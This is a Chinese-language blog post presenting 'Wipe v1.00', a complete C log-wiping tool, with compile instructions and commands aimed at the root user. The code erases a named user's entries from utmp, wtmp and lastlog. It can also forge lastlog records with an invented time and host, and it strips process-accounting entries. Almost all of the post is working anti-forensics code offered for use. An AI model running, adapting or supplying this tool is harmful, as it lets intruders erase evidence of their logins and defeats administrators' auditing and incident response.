Linux下的擦除工具

发布时间: 2012-02-03

Summary

 

安装过程

gcc -O3  -DHAVE_LASTLOG_H -DNO_ACCT -o wipe wipe.c

wipe u root #w 命令擦掉在线的root
wipe w root #last 命令擦掉root
wipe l root #lastlog 命令擦掉root登录记录
 

Source

/*
 * Wipe v1.00.
 *
 * Written by The Crawler.
 *
 * Selectively wipe system logs.
 *
 * Usage: wipe [l,u,w] username
 * ex:    wipe l user;wipe u user;wipe w user
 *
 * Wipes logs on, but not including, Linux, FreeBSD, Sunos 4.x, Solaris 2.x,
 *      Ultrix, AIX, IRIX, Digital UNIX, BSDI, NetBSD, HP/UX.
 * compile with  -DHAVE_LASTLOG_H -DNO_ACCT */

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/uio.h>
#ifndef NO_ACCT
#include <sys/acct.h>
#endif
#include <utmp.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <pwd.h>
#include <time.h>
#include <stdlib.h>

#ifdef HAVE_LASTLOG_H
#include <lastlog.h>
#endif

#ifdef HAVE_UTMPX
#include <utmpx.h>
#endif

/*
 * Try to use the paths out of the include files. 
 * But if we can't find any, revert to the defaults.
 */
#ifndef UTMP_FILE
#ifdef _PATH_UTMP
#define UTMP_FILE    _PATH_UTMP
#else
#define UTMP_FILE    "/var/adm/utmp"
#endif
#endif 

#ifndef WTMP_FILE
#ifdef _PATH_WTMP
#define WTMP_FILE    _PATH_WTMP
#else
#define WTMP_FILE    "/var/adm/wtmp"
#endif
#endif

#ifndef LASTLOG_FILE
#ifdef _PATH_LASTLOG
#define LASTLOG_FILE    _PATH_LASTLOG
#else
#define LASTLOG_FILE    "/var/adm/lastlog"
#endif
#endif

#ifndef ACCT_FILE
#define ACCT_FILE    "/var/adm/pacct"
#endif

#ifdef HAVE_UTMPX

#ifndef UTMPX_FILE
#define UTMPX_FILE    "/var/adm/utmpx"
#endif

#ifndef WTMPX_FILE
#define WTMPX_FILE    "/var/adm/wtmpx"
#endif

#endif /* HAVE_UTMPX */

#define BUFFSIZE    8192


/* 
 * This function will copy the src file to the dst file.
 */
void
copy_file(char *src, char *dst)
{
    int     fd1, fd2;
    int    n;
    char    buf[BUFFSIZE];

    if ( (fd1 = open(src, O_RDONLY)) < 0 ) {
        fprintf(stderr, "ERROR: Opening %s during copy.\n", src);
        return;
    }

    if ( (fd2 = open(dst, O_WRONLY | O_CREAT | O_TRUNC)) < 0 ) {
        fprintf(stderr, "ERROR: Creating %s during copy.\n", dst);
        return;
    }
    
    while ( (n = read(fd1, buf, BUFFSIZE)) > 0)
        if (write(fd2, buf, n) != n) {
            fprintf(stderr, "ERROR: Write error during copy.\n");
            return;
        }
        
    if (n < 0) {
        fprintf(stderr, "ERROR: Read error during copy.\n");
        return;
    }

    close(fd1);
    close(fd2);
}


/*
 * UTMP editing.
 */
void
wipe_utmp(char *who, char *line)
{
    int         fd1;
    struct utmp    ut;
    
    printf("Patching %s .... ", UTMP_FILE);
    fflush(stdout);

    /*
     * Open the utmp file.
     */
    if ( (fd1 = open(UTMP_FILE, O_RDWR)) < 0 ) {
        fprintf(stderr, "ERROR: Opening %s\n", UTMP_FILE);
        return;
    }
    
    /*
     * Copy utmp file excluding relevent entries. 
     */    
    while ( read(fd1, &ut, sizeof(ut)) > 0) 
        if ( !strncmp(ut.ut_name, who, strlen(who)) )
            if (!line || (line && 
              !strncmp(ut.ut_line, line, strlen(line)))) {
                bzero((char *) &ut, sizeof(ut));
                lseek(fd1, (int) -sizeof(ut), SEEK_CUR);
                write(fd1, &ut, sizeof(ut));
            }

    close(fd1);

    printf("Done.\n");
}

/*
 * UTMPX editing if supported.
 */
#ifdef HAVE_UTMPX
void
wipe_utmpx(char *who, char *line)
{
    int         fd1;
    struct utmpx    utx;

    printf("Patching %s .... ", UTMPX_FILE);
    fflush(stdout);
        
    /*
     * Open the utmp file and temporary file.
     */
    if ( (fd1 = open(UTMPX_FILE, O_RDWR)) < 0 ) {
        fprintf(stderr, "ERROR: Opening %s\n", UTMPX_FILE);
        return;
    }

    while ( (read(fd1, &utx, sizeof(utx)) ) > 0) 
        if ( !strncmp(utx.ut_name, who, strlen(who)) )
            if (!line || (line && 
              !strncmp(utx.ut_line, line, strlen(line)))) {
                bzero((char *) &utx, sizeof(utx));
                lseek(fd1, (int) -sizeof(utx), SEEK_CUR);
                write(fd1, &utx, sizeof(utx));
            }

    close(fd1);

    printf("Done.\n");
}
#endif


/*
 * WTMP editing.
 */
void
wipe_wtmp(char *who, char *line)
{
    int        fd1;
    struct utmp    ut;

    printf("Patching %s .... ", WTMP_FILE);
    fflush(stdout);
    
        /*
     * Open the wtmp file and temporary file.
     */
    if ( (fd1 = open(WTMP_FILE, O_RDWR)) < 0 ) {
        fprintf(stderr, "ERROR: Opening %s\n", WTMP_FILE);
        return;
    }

    /*
     * Determine offset of last relevent entry.
     */
    lseek(fd1, (long) -(sizeof(ut)), SEEK_END);
    while ( (read (fd1, &ut, sizeof(ut))) > 0) {
        if (!strncmp(ut.ut_name, who, strlen(who)))
            if (!line || (line && 
              !strncmp(ut.ut_line, line, strlen(line)))) {
                  bzero((char *) &ut, sizeof(ut));
                lseek(fd1, (long) -(sizeof(ut)), SEEK_CUR);
                  write(fd1, &ut, sizeof(ut));
                  break;
            }
        lseek(fd1, (long) -(sizeof(ut) * 2), SEEK_CUR);
    }

    close(fd1);
    
    printf("Done.\n");
}


/*
 * WTMPX editing if supported.
 */
#ifdef HAVE_UTMPX
void
wipe_wtmpx(char *who, char *line)
{
    int         fd1;
    struct utmpx    utx;
    
    printf("Patching %s .... ", WTMPX_FILE);
    fflush(stdout);
    
    /*
     * Open the utmp file and temporary file.
     */
    if ( (fd1 = open(WTMPX_FILE, O_RDWR)) < 0 ) {
        fprintf(stderr, "ERROR: Opening %s\n", WTMPX_FILE);
        return;
    }

    /*
     * Determine offset of last relevent entry.
     */
    lseek(fd1, (long) -(sizeof(utx)), SEEK_END);
    while ( (read (fd1, &utx, sizeof(utx))) > 0) {
        if (!strncmp(utx.ut_name, who, strlen(who)))
            if (!line || (line && 
              !strncmp(utx.ut_line, line, strlen(line)))) {
                  bzero((char *) &utx, sizeof(utx));
                lseek(fd1, (long) -(sizeof(utx)), SEEK_CUR);
                  write(fd1, &utx, sizeof(utx));
                  break;
            }
        lseek(fd1, (int) -(sizeof(utx) * 2), SEEK_CUR);
    }

    close(fd1);

    printf("Done.\n");
}
#endif


/*
 * LASTLOG editing.
 */
void
wipe_lastlog(char *who, char *line, char *timestr, char *host)
{
    int        fd1;
    struct lastlog    ll;
    struct passwd    *pwd;
    struct tm    *tm; 
    char        str[4];

    printf("Patching %s .... ", LASTLOG_FILE);
    fflush(stdout);

    tm = (struct tm *) malloc( sizeof(struct tm) );
    
        /*
     * Open the lastlog file.
     */
    if ( (fd1 = open(LASTLOG_FILE, O_RDWR)) < 0 ) {
        fprintf(stderr, "ERROR: Opening %s\n", LASTLOG_FILE);
        return;
    }

    if ( (pwd = getpwnam(who)) == NULL) {
        fprintf(stderr, "ERROR: Can't find user in passwd.\n");
        return;
    }
    
    lseek(fd1, (long) pwd->pw_uid * sizeof(struct lastlog), 0);
    bzero((char *) &ll, sizeof(ll));

    if (line) 
        strncpy(ll.ll_line, line, strlen(line));

    if (timestr) {
        /* YYMMddhhmm */
        if (strlen(timestr) != 10) {
            fprintf(stderr, "ERROR: Time format is YYMMddhhmm.\n");
            return;
        }
        
        /*
         * Extract Times.
         */
        str[2] = 0;
        str[0] = timestr[0];
        str[1] = timestr[1];
        tm->tm_year = atoi(str);
        
        str[0] = timestr[2];
        str[1] = timestr[3];
        tm->tm_mon = atoi(str) - 1;
        
        str[0] = timestr[4];
        str[1] = timestr[5];
        tm->tm_mday = atoi(str);
        
        str[0] = timestr[6];
        str[1] = timestr[7];
        tm->tm_hour = atoi(str);
        
        str[0] = timestr[8];
        str[1] = timestr[9];
        tm->tm_min = atoi(str);
        tm->tm_sec = 0;
        
        ll.ll_time = mktime(tm);
    }

    if (host)
        strncpy(ll.ll_host, host, sizeof(ll.ll_host));
    

    write(fd1, (char *) &ll, sizeof(ll));

    close(fd1);

    printf("Done.\n");
}


#ifndef NO_ACCT
/*
 * ACCOUNT editing.
 */
void
wipe_acct(char *who, char *line)
{    
    int        fd1, fd2;
    struct acct    ac;
    char        ttyn[50];
    struct passwd   *pwd;
    struct stat    sbuf;
    char        *tmpf;
    
    printf("Patching %s .... ", ACCT_FILE);
    fflush(stdout);

        /*
     * Open the acct file and temporary file.
     */
    if ( (fd1 = open(ACCT_FILE, O_RDONLY)) < 0 ) {
        fprintf(stderr, "ERROR: Opening %s\n", ACCT_FILE);
        return;
    }

    /*
     * Grab a unique temporary filename.
     */
    tmpf = tmpnam((char *) NULL);

    if ( (fd2 = open(tmpf, O_WRONLY | O_CREAT | O_TRUNC, 600)) < 0 ) {
        fprintf(stderr, "ERROR: Opening tmp ACCT file\n");
        return;
    }

    if ( (pwd = getpwnam(who)) == NULL) {
        fprintf(stderr, "ERROR: Can't find user in passwd.\n");
        return;
    }

    /*
     * Determine tty's device number
     */
    strcpy(ttyn, "/dev/");
    strcat(ttyn, line);
    if (stat(ttyn, &sbuf) < 0) {
        fprintf(stderr, "ERROR: Determining tty device number.\n");
        return;
    }
    
    while ( read(fd1, &ac, sizeof(ac)) > 0 ) {
        if ( !(ac.ac_uid == pwd->pw_uid && ac.ac_tty == sbuf.st_rdev) )    
            write(fd2, &ac, sizeof(ac));
    }

    close(fd1);
    close(fd2);
    
    copy_file(tmpf, ACCT_FILE);
    
    if ( unlink(tmpf) < 0 ) {
        fprintf(stderr, "ERROR: Unlinking tmp WTMP file.\n");
        return;
    }

    printf("Done.\n");
} 
#endif


void
usage()
{
    printf("USAGE: wipe [ u|w|l|a ] ...options...\n");
    printf("\n");
    printf("UTMP editing:\n");
    printf("    Erase all usernames      :   wipe u [username]\n");
    printf("    Erase one username on tty:   wipe u [username] [tty]\n");
    printf("\n");
    printf("WTMP editing:\n");
    printf("   Erase last entry for user :   wipe w [username]\n");
    printf("   Erase last entry on tty   :   wipe w [username] [tty]\n");
    printf("\n");    
    printf("LASTLOG editing:\n");
    printf("   Blank lastlog for user    :   wipe l [username]\n");
    printf("   Alter lastlog entry       :   wipe l [username] [tty] [time] [host]\n");
    printf("    Where [time] is in the format [YYMMddhhmm]\n");
    printf("\n");
#ifndef NO_ACCT
    printf("ACCT editing:\n");
    printf("   Erase acct entries on tty :   wipe a [username] [tty]\n");
#endif
    exit(1);
}


int
main(int argc, char *argv[])
{
    char    c;
    
    if (argc < 3)
        usage();

    /*
     * First character of first argument determines which file to edit.
     */
    c = toupper(argv[1][0]);
    
    /*
     * UTMP editing.
     */
    switch (c) {
        /* UTMP */
        case 'U' :
            if (argc == 3)
                wipe_utmp(argv[2], (char *) NULL);
            if (argc ==4)
                wipe_utmp(argv[2], argv[3]);
            
#ifdef HAVE_UTMPX
            if (argc == 3)
                wipe_utmpx(argv[2], (char *) NULL);
            if (argc == 4)
                wipe_utmpx(argv[2], argv[3]);
#endif
            
            break;
        /* WTMP */
        case 'W' :
            if (argc == 3)
                wipe_wtmp(argv[2], (char *) NULL);
            if (argc == 4)
                wipe_wtmp(argv[2], argv[3]);
            
#ifdef HAVE_UTMPX
            if (argc == 3)
                wipe_wtmpx(argv[2], (char *) NULL);
            if (argc == 4)
                wipe_wtmpx(argv[2], argv[3]);
#endif
            
            break;
        /* LASTLOG */
        case 'L' :
            if (argc == 3)
                wipe_lastlog(argv[2], (char *) NULL, 
                    (char *) NULL, (char *) NULL);
            if (argc == 4)
                wipe_lastlog(argv[2], argv[3], (char *) NULL,
                        (char *) NULL);
            if (argc == 5)
                wipe_lastlog(argv[2], argv[3], argv[4], 
                        (char *) NULL);
            if (argc == 6)
                wipe_lastlog(argv[2], argv[3], argv[4], 
                        argv[5]);
            break;
#ifndef NO_ACCT
        /* ACCT */
        case 'A' :
            if (argc != 4)
                usage();
            wipe_acct(argv[2], argv[3]);
            break;
#endif
    }

    return(0);
}

请在下方留下您的评论.加入TG吹水群